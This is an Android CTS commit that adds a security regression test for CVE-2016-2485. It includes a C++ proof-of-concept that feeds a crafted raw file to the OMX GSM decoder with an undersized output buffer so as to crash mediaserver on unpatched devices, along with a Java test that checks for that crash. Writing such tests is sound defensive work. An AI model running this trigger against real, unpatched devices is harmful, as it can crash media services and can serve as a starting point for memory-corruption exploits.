[RESTRICT AUTOMERGE] CTS test for Android Security b/27793367

Bug: 27793367
Bug: 72507922
Test: Ran the new testcase on android-8.0.0_r2 with/without patch

Merged-In: Ia1b619bd7e389de8a8f440060ceebcbba7304882
Change-Id: Ia1b619bd7e389de8a8f440060ceebcbba7304882
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 747e879..c09b937 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -73,6 +73,7 @@
         <!--__________________-->
         <!-- Bulletin 2016-06 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-2485->/data/local/tmp/CVE-2016-2485" />
         <option name="push" value="CVE-2016-2478->/data/local/tmp/CVE-2016-2478" />
         <option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
 
diff --git a/hostsidetests/securitybulletin/res/cve_2016_2485.raw b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
new file mode 100644
index 0000000..ee7c95a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.mk
new file mode 100644
index 0000000..1035142
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-2485
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES_32 := ../includes/omxUtils.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_32 := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES_32 += frameworks/native/include/media/hardware/
+LOCAL_SHARED_LIBRARIES_32 := liblog
+LOCAL_SHARED_LIBRARIES_32 += libbinder
+LOCAL_SHARED_LIBRARIES_32 += libstagefright
+LOCAL_SHARED_LIBRARIES_32 += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES_32 += libutils
+LOCAL_SHARED_LIBRARIES_32 += libmedia
+LOCAL_SHARED_LIBRARIES_32 += libcutils
+LOCAL_SHARED_LIBRARIES_32 += libhidlbase
+LOCAL_SHARED_LIBRARIES_32 += libhidlmemory
+LOCAL_SHARED_LIBRARIES_32 += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES_32 += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
new file mode 100644
index 0000000..8af3e39
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
@@ -0,0 +1,186 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+#include <fstream>
+#include "../includes/omxUtils.h"
+#include "hidlmemory/mapping.h"
+
+#define FILE_SIZE UINT16_MAX + 1
+#define INPUT_BUFFER_SIZE 16380
+#define NUMBER_OF_BUFFERS 4
+#define VULNERABLE_SIZE 4
+#define SLEEP_TIME_IN_SECONDS 1
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30
+
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+                            int BufferSize) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+                bool s,
+                hidl_memory const& m) {
+            success = s;
+            buffer.mHidlMemory = m;
+        });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+#endif /* _32_BIT */
+
+int main(int argc, char *argv[]) {
+    (void) argc;
+    (void) argv;
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+    std::ifstream file(argv[1], std::ifstream::binary);
+    long size = FILE_SIZE;
+    uint8_t *buffer = new uint8_t[size];
+    if (!buffer) {
+        file.close();
+        return EXIT_FAILURE;
+    }
+    file.read((char *) buffer, size);
+
+    /* Initialize OMX for the specified codec                                 */
+    status_t ret = omxUtilsInit((char *) "OMX.google.gsm.decoder");
+    omxExitOnError(ret);
+
+    /* Set OMX input port parameters                                          */
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+            (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+                    sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    if (!params) {
+        file.close();
+        delete[] buffer;
+        return EXIT_FAILURE;
+    }
+    params->nPortIndex = OMX_UTILS_IP_PORT;
+    params->nBufferSize = INPUT_BUFFER_SIZE;
+    params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+    omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+
+    /* Prepare input port buffers                                             */
+    int inMemSize = params->nBufferCountActual * params->nBufferSize;
+    int inBufferCnt = params->nBufferCountActual;
+    int inBufferSize = inMemSize / inBufferCnt;
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+    /* Set OMX output port parameters                                          */
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+    params->nPortIndex = OMX_UTILS_OP_PORT;
+    params->nBufferSize = VULNERABLE_SIZE;
+    params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+    omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+
+    /* Prepare output port buffers                                            */
+    int outBufferCnt = params->nBufferCountActual;
+    int outBufferSize = VULNERABLE_SIZE;
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+    Vector < Buffer > inputBuffers;
+    Vector < Buffer > outputBuffers;
+    /* Register input buffers with OMX component                              */
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+    for (int i = 0; i < inBufferCnt; ++i) {
+        inBufferId[i] = inputBuffers[i].mID;
+        sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
+                inputBuffers[i].mHidlMemory);
+        memcpy((void *) mem->getPointer(),
+               (void *) (buffer + INPUT_BUFFER_SIZE * i),
+               INPUT_BUFFER_SIZE);
+        omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+                          &inBufferId[i]);
+    }
+
+    /* Register output buffers with OMX component                             */
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+    for (int i = 0; i < outBufferCnt; ++i) {
+        outBufferId[i] = outputBuffers[i].mID;
+        omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+                          &outBufferId[i]);
+    }
+
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State change to Executing                                       */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    for (int i = 0; i < inBufferCnt; ++i) {
+        OMXBuffer omxBuf(0, inBufferSize);
+        omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+    }
+    for (int i = 0; i < outBufferCnt; ++i) {
+        OMXBuffer omxBuf(0, outBufferSize);
+        omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    time_t currentTime = time(NULL);
+    time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC;
+    while (currentTime < endTime) {
+        sleep(SLEEP_TIME_IN_SECONDS);
+        if (numCallbackEmptyBufferDone == inBufferCnt) {
+            break;
+        }
+        currentTime = time(NULL);
+    }
+    if (numCallbackEmptyBufferDone != inBufferCnt) {
+        free(params);
+        file.close();
+        delete[] buffer;
+        return EXIT_FAILURE;
+    }
+    /* Free input and output buffers                                          */
+    for (int i = 0; i < inBufferCnt; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+    }
+    for (int i = 0; i < outBufferCnt; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+    }
+
+    /* Free OMX resources                                                     */
+    omxUtilsFreeNode();
+    free(params);
+    file.close();
+    delete[] buffer;
+#endif /* _32_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 9777a55..9620078 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -54,6 +54,20 @@
      ******************************************************************************/
 
     /**
+     * b/27793367
+     * Vulnerability Behaviour: SIGSEGV in mediaserver or omx@1.0-service
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-06")
+    public void testPocCVE_2016_2485() throws Exception {
+        String inputFiles[] = {"cve_2016_2485.raw"};
+        String processPatternStrings[] = {"mediaserver", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-2485",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
      * b/141890807
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */